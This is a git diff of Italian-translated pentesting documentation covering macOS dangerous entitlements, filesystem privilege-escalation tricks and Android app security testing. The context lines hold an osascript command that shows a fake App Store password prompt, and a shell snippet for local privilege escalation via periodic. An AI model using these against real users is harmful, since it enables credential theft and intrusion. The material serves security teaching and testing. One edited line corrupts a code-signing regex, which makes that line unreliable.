 Questi privilegi sono solitamente concessi sotto forma di **diritti** con cui l'applicazione è firmata, oppure l'applicazione potrebbe aver richiesto alcuni accessi e dopo che il **utente li approva** possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essendo un **figlio di un processo** con quei **privilegi**, poiché di solito sono **ereditati**.
 
-Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e come in passato [**SIP è stato bypassato**](macos-security-protections/macos-sip.md#sip-bypasses).
+Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) e come in passato [**SIP è stato bypassato**](macos-security-protections/macos-sip.md#sip-bypasses).
 
 ## Escalation Tradizionale dei Privilegi di macOS
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md

@@ -13,19 +13,19 @@ L'autorizzazione **`com.apple.rootless.install.heritable`** consente di **bypass
 
 ### **`com.apple.rootless.install`**
 
-L'autorizzazione **`com.apple.rootless.install`** consente di **bypassare SIP**. Controlla [questo per maggiori informazioni](macos-sip.md#com.apple.rootless.install).
+L'autorizzazione **`com.apple.rootless.install`** consente di **bypassare SIP**. Controlla[ questo per maggiori informazioni](macos-sip.md#com.apple.rootless.install).
 
 ### **`com.apple.system-task-ports` (precedentemente chiamato `task_for_pid-allow`)**
 
-Questa autorizzazione consente di ottenere il **task port per qualsiasi** processo, tranne il kernel. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Questa autorizzazione consente di ottenere il **port task per qualsiasi** processo, tranne il kernel. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.get-task-allow`
 
-Questa autorizzazione consente ad altri processi con l'autorizzazione **`com.apple.security.cs.debugger`** di ottenere il task port del processo eseguito dal binario con questa autorizzazione e **iniettare codice su di esso**. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Questa autorizzazione consente ad altri processi con l'autorizzazione **`com.apple.security.cs.debugger`** di ottenere il port task del processo eseguito dal binario con questa autorizzazione e **iniettare codice su di esso**. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.cs.debugger`
 
-Le app con l'autorizzazione Debugging Tool possono chiamare `task_for_pid()` per recuperare un task port valido per app non firmate e di terze parti con l'autorizzazione `Get Task Allow` impostata su `true`. Tuttavia, anche con l'autorizzazione dello strumento di debug, un debugger **non può ottenere i task port** di processi che **non hanno l'autorizzazione `Get Task Allow`**, e che sono quindi protetti dalla Protezione dell'Integrità di Sistema. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
+Le app con l'autorizzazione Debugging Tool possono chiamare `task_for_pid()` per recuperare un port task valido per app non firmate e di terze parti con l'autorizzazione `Get Task Allow` impostata su `true`. Tuttavia, anche con l'autorizzazione dello strumento di debug, un debugger **non può ottenere i port task** dei processi che **non hanno l'autorizzazione `Get Task Allow`**, e che sono quindi protetti dalla Protezione dell'Integrità di Sistema. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
 
 ### `com.apple.security.cs.disable-library-validation`
 
@@ -46,7 +46,7 @@ Questa autorizzazione consente di **utilizzare variabili di ambiente DYLD** che
 
 ### **`system.install.apple-software`** e **`system.install.apple-software.standar-user`**
 
-Queste autorizzazioni consentono di **installare software senza chiedere permessi** all'utente, il che può essere utile per un **privilege escalation**.
+Queste autorizzazioni consentono di **installare software senza chiedere permessi** all'utente, il che può essere utile per un **elevazione di privilegi**.
 
 ### `com.apple.private.security.kext-management`
 
@@ -66,11 +66,11 @@ TODO: Non so cosa consenta di fare
 
 ### `com.apple.private.apfs.revert-to-snapshot`
 
-TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere usato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia un PR per favore!
+TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere utilizzato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore!
 
 ### `com.apple.private.apfs.create-sealed-snapshot`
 
-TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere usato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia un PR per favore!
+TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere utilizzato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore!
 
 ### `keychain-access-groups`
 
@@ -87,7 +87,7 @@ Questa autorizzazione elenca i gruppi **keychain** a cui l'applicazione ha acces
 ```
 ### **`kTCCServiceSystemPolicyAllFiles`**
 
-Concede i permessi di **Accesso Completo al Disco**, uno dei permessi più elevati di TCC che puoi avere.
+Fornisce i permessi di **Accesso Completo al Disco**, uno dei permessi più elevati di TCC che puoi avere.
 
 ### **`kTCCServiceAppleEvents`**
 
@@ -97,7 +97,7 @@ Come farle chiedere all'utente la propria password:
 ```bash
 osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
 ```
-O farli eseguire **azioni arbitrarie**.
+Or farli eseguire **azioni arbitrarie**.
 
 ### **`kTCCServiceEndpointSecurityClient`**
 
@@ -117,27 +117,27 @@ Consente di modificare i file all'interno del bundle delle app (all'interno di a
 
 ### `kTCCServiceAccessibility`
 
-Il processo sarà in grado di **abuse delle funzionalità di accessibilità di macOS**, il che significa che, ad esempio, sarà in grado di premere tasti. Quindi potrebbe richiedere l'accesso per controllare un'app come Finder e approvare la finestra di dialogo con questo permesso.
+Il processo sarà in grado di **abusare delle funzionalità di accessibilità di macOS**, il che significa che, ad esempio, sarà in grado di premere tasti. Quindi potrebbe richiedere l'accesso per controllare un'app come Finder e approvare la finestra di dialogo con questa autorizzazione.
 
-## Medio
+## Medium
 
 ### `com.apple.security.cs.allow-jit`
 
-Questa autorizzazione consente di **creare memoria che è scrivibile ed eseguibile** passando il flag `MAP_JIT` alla funzione di sistema `mmap()`. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
+Questa autorizzazione consente di **creare memoria che è scrivibile ed eseguibile** passando il flag `MAP_JIT` alla funzione di sistema `mmap()`. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
 
 ### `com.apple.security.cs.allow-unsigned-executable-memory`
 
-Questa autorizzazione consente di **sovrascrivere o patchare codice C**, utilizzare il **`NSCreateObjectFileImageFromMemory`** (che è fondamentalmente insicuro), o utilizzare il framework **DVDPlayback**. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
+Questa autorizzazione consente di **sovrascrivere o patchare codice C**, utilizzare il deprecato **`NSCreateObjectFileImageFromMemory`** (che è fondamentalmente insicuro) o utilizzare il framework **DVDPlayback**. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 
 > [!CAUTION]
-> Includere questa autorizzazione espone la tua app a vulnerabilità comuni nei linguaggi di codice non sicuro in memoria. Considera attentamente se la tua app ha bisogno di questa eccezione.
+> Includere questa autorizzazione espone la tua app a vulnerabilità comuni nei linguaggi di programmazione non sicuri in memoria. Considera attentamente se la tua app ha bisogno di questa eccezione.
 
 ### `com.apple.security.cs.disable-executable-page-protection`
 
-Questa autorizzazione consente di **modificare sezioni dei propri file eseguibili** su disco per uscire forzatamente. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
+Questa autorizzazione consente di **modificare sezioni dei propri file eseguibili** su disco per uscire forzatamente. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
 
 > [!CAUTION]
-> L'Autorizzazione per Disabilitare la Protezione della Memoria Eseguibile è un'autorizzazione estrema che rimuove una protezione fondamentale della sicurezza dalla tua app, rendendo possibile per un attaccante riscrivere il codice eseguibile della tua app senza rilevamento. Preferisci autorizzazioni più ristrette se possibile.
+> L'Autorizzazione per Disabilitare la Protezione della Memoria Eseguibile è un'autorizzazione estrema che rimuove una protezione fondamentale della sicurezza dalla tua app, rendendo possibile per un attaccante riscrivere il codice eseguibile della tua app senza essere rilevato. Preferisci autorizzazioni più ristrette se possibile.
 
 ### `com.apple.security.cs.allow-relative-library-loads`
 
@@ -149,7 +149,7 @@ Questa autorizzazione consente di montare un file system nullfs (vietato per imp
 
 ### `kTCCServiceAll`
 
-Secondo questo post del blog, questo permesso TCC di solito si trova nella forma:
+Secondo questo post del blog, questa autorizzazione TCC si trova solitamente nella forma:
 ```
 [Key] com.apple.private.tcc.allow-prompting
 [Value]

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

@@ -4,7 +4,7 @@
 
 ## Combinazioni di permessi POSIX
 
-Permessi in una **directory**:
+I permessi in una **directory**:
 
 - **read** - puoi **enumerare** le voci della directory
 - **write** - puoi **eliminare/scrivere** **file** nella directory e puoi **eliminare cartelle vuote**.
@@ -12,13 +12,13 @@ Permessi in una **directory**:
 - Non puoi **modificare il nome di una cartella** a meno che tu non sia il proprietario.
 - **execute** - ti è **consentito di attraversare** la directory - se non hai questo diritto, non puoi accedere a nessun file al suo interno, né in alcuna sottodirectory.
 
-### Combinazioni Pericolose
+### Combinazioni pericolose
 
 **Come sovrascrivere un file/cartella di proprietà di root**, ma:
 
-- Un **proprietario della directory** genitore nel percorso è l'utente
-- Un **proprietario della directory** genitore nel percorso è un **gruppo di utenti** con **accesso in scrittura**
-- Un **gruppo di utenti** ha accesso **in scrittura** al **file**
+- Un **proprietario** della **directory** nel percorso è l'utente
+- Un **proprietario** della **directory** nel percorso è un **gruppo di utenti** con **accesso in scrittura**
+- Un **gruppo** di utenti ha **accesso in scrittura** al **file**
 
 Con una delle combinazioni precedenti, un attaccante potrebbe **iniettare** un **link simbolico/duro** nel percorso previsto per ottenere una scrittura arbitraria privilegiata.
 
@@ -86,7 +86,7 @@ ls -lO /tmp/asd
 ```
 ### defvfs mount
 
-Un **devfs** mount **non supporta xattr**, ulteriori informazioni in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
+Un **devfs** mount **non supporta xattr**, maggiori informazioni in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
 ```bash
 mkdir /tmp/mnt
 mount_devfs -o noowners none "/tmp/mnt"
@@ -124,7 +124,7 @@ Il formato di file **AppleDouble** copia un file inclusi i suoi ACE.
 
 Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con formato di file **AppleDouble** con un ACL che impedisce ad altri xattrs di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione:
 
-Controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
+Controlla il [**rapporto originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
 
 Per replicare questo, dobbiamo prima ottenere la stringa acl corretta:
 ```bash
@@ -195,7 +195,7 @@ Tuttavia, ci sono alcuni file la cui firma non verrà controllata, questi hanno
 </dict>
 <key>rules2</key>
 ...
-<key>^(.*/)?\.DS_Store$</key>
+<key>^(.*/index.html)?\.DS_Store$</key>
 <dict>
 <key>omit</key>
 <true/>
@@ -221,7 +221,7 @@ Tuttavia, ci sono alcuni file la cui firma non verrà controllata, questi hanno
 ...
 </dict>
 ```
-È possibile calcolare la firma di una risorsa dalla cli con:
+È possibile calcolare la firma di una risorsa dalla riga di comando con:
 ```bash
 openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
 ```
@@ -312,7 +312,7 @@ Poi, modifica di nuovo il file `/etc/cups/cups-files.conf` indicando `LogFilePer
 
 ## Genera file scrivibili come altri utenti
 
-Questo genererà un file che appartiene a root e che è scrivibile da me ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Questo potrebbe funzionare anche come privesc:
+Questo genererà un file che appartiene a root e che è scrivibile da me ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Questo potrebbe anche funzionare come privesc:
 ```bash
 DIRNAME=/usr/local/etc/periodic/daily
 
@@ -324,13 +324,13 @@ MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDont
 FILENAME=$(ls "$DIRNAME")
 echo $FILENAME
 ```
-## Memoria Condivisa POSIX
+## POSIX Shared Memory
 
 **La memoria condivisa POSIX** consente ai processi nei sistemi operativi conformi a POSIX di accedere a un'area di memoria comune, facilitando una comunicazione più rapida rispetto ad altri metodi di comunicazione inter-processo. Comporta la creazione o l'apertura di un oggetto di memoria condivisa con `shm_open()`, la definizione della sua dimensione con `ftruncate()`, e la mappatura nello spazio degli indirizzi del processo utilizzando `mmap()`. I processi possono quindi leggere e scrivere direttamente in quest'area di memoria. Per gestire l'accesso concorrente e prevenire la corruzione dei dati, vengono spesso utilizzati meccanismi di sincronizzazione come mutex o semafori. Infine, i processi smappano e chiudono la memoria condivisa con `munmap()` e `close()`, e opzionalmente rimuovono l'oggetto di memoria con `shm_unlink()`. Questo sistema è particolarmente efficace per un IPC efficiente e veloce in ambienti in cui più processi devono accedere rapidamente ai dati condivisi.
 
 <details>
 
-<summary>Esempio di Codice del Produttore</summary>
+<summary>Esempio di codice del produttore</summary>
 ```c
 // gcc producer.c -o producer -lrt
 #include <fcntl.h>
@@ -378,7 +378,7 @@ return 0;
 
 <details>
 
-<summary>Esempio di Codice per il Consumatore</summary>
+<summary>Esempio di Codice per Consumatori</summary>
 ```c
 // gcc consumer.c -o consumer -lrt
 #include <fcntl.h>
@@ -420,9 +420,9 @@ return 0;
 ```
 </details>
 
-## Descrittori Protetti di macOS
+## macOS Descrittori Protetti
 
-I **descrittori protetti di macOS** sono una funzionalità di sicurezza introdotta in macOS per migliorare la sicurezza e l'affidabilità delle **operazioni sui descrittori di file** nelle applicazioni utente. Questi descrittori protetti forniscono un modo per associare restrizioni specifiche o "guardie" ai descrittori di file, che sono applicate dal kernel.
+**macOS descrittori protetti** sono una funzionalità di sicurezza introdotta in macOS per migliorare la sicurezza e l'affidabilità delle **operazioni sui descrittori di file** nelle applicazioni utente. Questi descrittori protetti forniscono un modo per associare restrizioni specifiche o "guardie" ai descrittori di file, che sono applicate dal kernel.
 
 Questa funzionalità è particolarmente utile per prevenire determinate classi di vulnerabilità di sicurezza come **accesso non autorizzato ai file** o **condizioni di gara**. Queste vulnerabilità si verificano quando, ad esempio, un thread accede a una descrizione di file dando **accesso a un altro thread vulnerabile** o quando un descrittore di file è **ereditato** da un processo figlio vulnerabile. Alcune funzioni relative a questa funzionalità sono:
 

src/mobile-pentesting/android-app-pentesting/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Nozioni di base sulle Applicazioni Android
+## Nozioni di Base sulle Applicazioni Android
 
 È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
 
@@ -13,7 +13,7 @@ android-applications-basics.md
 ## ADB (Android Debug Bridge)
 
 Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
-**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
+**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility permette la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
 
 Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
 
@@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 
 adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 ```
-- Unisci tutti gli APK divisi e di base con [APKEditor](https://github.com/REAndroid/APKEditor):
+- Unisci tutti gli split e gli apk di base con [APKEditor](https://github.com/REAndroid/APKEditor):
 ```bash
 mkdir splits
 adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@@ -45,12 +45,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
 # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
 java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 ```
-## Analisi Statica
+## Static Analysis
 
 Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** utilizzando un decompilatore.\
 Per favore, [**leggi qui per trovare informazioni sui diversi decompilatori disponibili**](apk-decompilers.md).
 
-### Ricerca di informazioni interessanti
+### Looking for interesting Info
 
 Basta dare un'occhiata alle **stringhe** dell'APK per cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
 
@@ -58,26 +58,26 @@ Basta dare un'occhiata alle **stringhe** dell'APK per cercare **password**, **UR
 
 Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 
-### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
+### Basic understanding of the application - Manifest.xml, strings.xml
 
-L'**esame dei file \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* di un'applicazione può rivelare potenziali vulnerabilità di sicurezza\*\*. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo.
+L'**esame del file \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* di un'applicazione può rivelare potenziali vulnerabilità di sicurezza\*\*. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo.
 
-Le **vulnerabilità** identificate dal **Manifest.xml** includono:
+**Vulnerabilità** identificate dal **Manifest.xml** includono:
 
 - **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
-- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
+- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
 - **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
 - **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
-- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere esaminata.
+- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata.
 - **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli URL schemes per le vulnerabilità di input.
 - **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
 
-Dal file **strings.xml**, possono essere scoperte informazioni sensibili come chiavi API, schemi personalizzati e altre note degli sviluppatori, sottolineando la necessità di una revisione attenta di queste risorse.
+Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
 
 ### Tapjacking
 
-Il **Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
-In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
+**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
+In effetti, sta **accecato l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
 
 Trova ulteriori informazioni in:
 
@@ -95,18 +95,18 @@ Maggiori informazioni in:
 android-task-hijacking.md
 {{#endref}}
 
-### Memorizzazione dei dati non sicura
+### Insecure data storage
 
-**Memoria Interna**
+**Internal Storage**
 
 In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **applicata** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
 
-1. **Analisi Statica:**
+1. **Static Analysis:**
 - **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
-2. **Analisi Dinamica:**
+2. **Dynamic Analysis:**
 - **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
 
-**Memoria Esterna**
+**External Storage**
 
 Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni:
 
@@ -116,7 +116,7 @@ Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero esser
 - Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna.
 - La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
 3. **Gestione dei Dati dalla Memoria Esterna**:
-- Esegui sempre **validazione dell'input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
+- Esegui sempre **validazione degli input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
 - Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato.
 - Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
 
@@ -125,21 +125,21 @@ La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcar
 > [!NOTE]
 > A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione dannosa di ottenere accesso in lettura o scrittura ai file di un'altra app.
 
-**Dati sensibili memorizzati in chiaro**
+**Sensitive data stored in clear-text**
 
-- **Preferenze condivise**: Android consente a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
-- **Database**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
+- **Shared preferences**: Android consente a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
+- **Databases**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
 
-### TLS Rotto
+### Broken TLS
 
-**Accetta Tutti i Certificati**
+**Accept All Certificates**
 
 Per qualche motivo, a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, il nome host non corrisponde a righe di codice come la seguente:
 ```java
 SSLSocketFactory sf = new cc(trustStore);
 sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 ```
-Un buon modo per testare questo è provare a catturare il traffico utilizzando un proxy come Burp senza autorizzare il certificato CA di Burp all'interno del dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo.
+Un buon modo per testare questo è provare a catturare il traffico utilizzando un proxy come Burp senza autorizzare Burp CA all'interno del dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo.
 
 ### Criptografia compromessa
 
@@ -154,7 +154,7 @@ Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire
 ### Altri controlli
 
 - È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering per gli attaccanti.
-- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i **propri controlli per vedere se il mobile è rootato** e agire di conseguenza.
+- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per vedere se il mobile è rootato** e agire di conseguenza.
 - Se l'app è sensibile (come le app bancarie), dovrebbe controllare se viene utilizzato un **emulatore**.
 - Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguire** per verificare se è stata modificata.
 - Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compilatore/pacchetto/offuscatore è stato utilizzato per costruire l'APK.
@@ -177,7 +177,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell
 
 ### Applicazioni Superpacked
 
-Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
+Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
 
 ### Analisi statica automatizzata del codice
 
@@ -241,7 +241,7 @@ avd-android-virtual-device.md
 - [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
 
 > [!NOTE]
-> Quando crei un nuovo emulatore su qualsiasi piattaforma, ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
+> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
 
 Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente:
 
@@ -274,17 +274,17 @@ Gli sviluppatori dovrebbero prestare attenzione a non esporre **informazioni di
 
 **Caching del buffer di copia/incolla**
 
